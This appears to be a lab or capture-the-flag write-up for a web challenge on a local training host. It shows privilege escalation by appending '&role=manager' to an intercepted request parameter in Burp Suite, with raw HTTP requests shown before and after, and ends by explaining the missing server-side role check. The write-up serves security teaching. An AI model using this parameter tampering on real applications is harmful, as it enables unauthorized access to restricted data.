Challenge: Bad Teacher Strike Again (Role Manipulation)

This challenge explores a scenario involving role-based access control (RBAC) failure, highlighting how insufficient server-side validation can lead to unauthorized privilege escalation.

Steps to Reproduce:

1. Login

Use the following credentials to log in: - **Username**: `s12345` - **Password**: `password`

2. Intercept and Modify Profile Request

- Use **Burp Suite** to intercept the profile view request.

3. Parameter Tampering and Role Escalation

Get the request for Nicholas Lim and intercept it. - Modify the intercepted request as follows: - Replace the username parameter with: `p5678901&role=manager`

- The request will look like this

Before

```
GET /challenges/bad-teacher-again/manage?username=p5678901 HTTP/1.1
Host: mimosadism.dmit.local
Cookie: JSESSIONID=917D098292B00FF36D2657E91A7BEE7E
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="104"
X-Csrf-Token: e4b35808-dc11-496e-a3b6-ccca260a6fdf
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Content-Type: application/x-www-form-urlencoded
Accept: */*
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Platform: "Windows"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://mimosadism.dmit.local/challenges/bad-teacher-again
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close
```

After

```
GET /challenges/bad-teacher-again/manage?username=p5678901&role=manager HTTP/1.1
Host: mimosadism.dmit.local
Cookie: JSESSIONID=917D098292B00FF36D2657E91A7BEE7E
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="104"
X-Csrf-Token: e4b35808-dc11-496e-a3b6-ccca260a6fdf
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Content-Type: application/x-www-form-urlencoded
Accept: */*
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Platform: "Windows"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://mimosadism.dmit.local/challenges/bad-teacher-again
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close
```

4. Outcome

By appending `&role=manager` to the parameter, the application demonstrates an instance of RBAC failure where user roles are not validated on the server side. This allows for unauthorized access to restricted or administrative content.

Summary

This challenge highlights: - A critical RBAC implementation flaw. - How lack of server-side validation for roles can enable privilege escalation.